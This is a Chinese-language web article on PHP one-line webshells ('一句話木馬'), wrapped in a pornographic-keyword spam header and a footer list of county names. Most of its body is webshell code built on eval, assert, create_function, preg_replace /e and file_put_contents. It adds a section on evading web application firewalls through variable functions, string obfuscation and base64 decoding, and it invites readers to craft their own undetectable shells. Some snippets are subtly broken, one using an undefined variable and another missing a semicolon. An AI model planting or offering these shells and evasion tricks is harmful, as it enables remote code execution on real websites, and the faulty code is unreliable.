亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PHP中一句話木馬的示例分析

發布時間:2021-09-18 14:01:20 來源:億速云 閱讀:268 作者:小新 欄目:編程語言

這篇文章主要為大家展示了“PHP中一句話木馬的示例分析”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“PHP中一句話木馬的示例分析”這篇文章吧。

什么是一句話木馬

一句話木馬就是只需要一行代碼的木馬,短短一行代碼,就能做到和大馬相當的功能。為了繞過waf的檢測,一句話木馬出現了無數中變形,但本質是不變的:木馬的函數執行了我們發送的命令。

我們如何發送命令,發送的命令如何執行?

我們可以通過GET 、POST 、COOKIE這三種方式向一個網站提交數據,一句話木馬用$_GET[' ']、$_POST[' ']、$_COOKIE[' '] 接收我們傳遞的數據,并把接收的數據傳遞給一句話木馬中執行命令的函數,進而執行命令。
所以看到的經典一句話木馬大多都是只有兩個部分,一個是可以執行代碼的函數部分,一個是接收數據的部分。

例如:<?php eval(@$_POST['a']); ?>

其中eval就是執行命令的函數,$_POST['a']就是接收的數據。eval函數把接收的數據當作PHP代碼來執行。這樣我們就能夠讓插入了一句話木馬的網站執行我們傳遞過去的任意PHP語句。這便是一句話木馬的強大之處。

因為木馬是接收post請求中 “a” 的數據( $_POST[‘a’]),所以我們必須以post方法發送數據并且將我們要執行的代碼賦值給“a”。如果把木馬中的post替換成get,那么我么就需要以GET方法發送“a”,( 就像這樣: http://127.0.0.1/test.php?a=phpinfo(); )我就不再另行演示了。

使用 其他函數制作一句話木馬

assert函數

<?php assert(@$_POST['a']); ?>

create_function函數

<?php
$fun = create_function('',$_POST['a']);
$fun();
?>

把用戶傳遞的數據生成一個函數fun(),然后再執行fun()

call_user_func回調函數

<?php
@call_user_func(assert,$_POST['a']);
?>

call_user_func這個函數可以調用其它函數,被調用的函數是call_user_func的第一個函數,被調用的函數的參數是call_user_func的第二個參數。這樣的一個語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個函數繞過waf。

preg_replace函數

<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

這個函數原本是利用正則表達式替換符合條件的字符串,但是這個函數有一個功能——可執行命令。這個函數的第一個參數是正則表達式,按照PHP的格式,表達式在兩個“/”之間。如果我們在這個表達式的末尾加上“e”,那么這個函數的第二個參數就會被當作代碼執行。

file_put_contents函數

利用函數生成木馬

<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

函數功能:生成一個文件,第一個參數是文件名,第二個參數是文件的內容。

如何讓一句話木馬繞過waf ?

waf是網站的防火墻,例如安全狗就是waf的一種。waf通常以關鍵字判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf根本不可能全部攔截。想要繞過waf,需要掌握各種PHP小技巧,掌握的技巧多了,把技巧結合起來,設計出屬于自己的一句話木馬。

PHP變量函數

<?php
$a = "eval";
$a(@$_POST['a']);
?>

第三行使用了變量函數$a,變量儲存了函數名eval,便可以直接用變量替代函數名。

PHP可變變量

<?php
$bb="eval";
$a="bb";
$$aa($_POST['a']);
?>

看這句就能理解上述語句:$$aa = $($aa) = $ (‘bb’) = $bb = "eval"

str_replace函數

<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>

函數功能:在第三個參數中,查找第一個參數,并替換成第二個參數。這里第二個參數為空字符串,就相當于刪除"Waldo"。

base64_decode函數

<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

這里是base64解密函數,"ZXZhbA=="是eval的base64加密。

"."操作符

<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>

parse_str函數

<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>

執行這個函數后,生成一個變量$a,值為字符串"eval"

此文章僅用于學習。

以上是“PHP中一句話木馬的示例分析”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

php
AI

石城县| 广平县| 阿拉尔市| 体育| 安吉县| 广德县| 阿拉善盟| 尼木县| 禄丰县| 天台县| 马鞍山市| 阿荣旗| 沁源县| 青神县| 集安市| 高邑县| 孟津县| 台南市| 丹阳市| 黄陵县| 涡阳县| 攀枝花市| 彰武县| 安仁县| 金堂县| 万山特区| 宝坻区| 布尔津县| 荃湾区| 马尔康县| 双流县| 句容市| 灵武市| 邵东县| 滨海县| 平利县| 潍坊市| 灵台县| 漳浦县| 贡嘎县| 垦利县|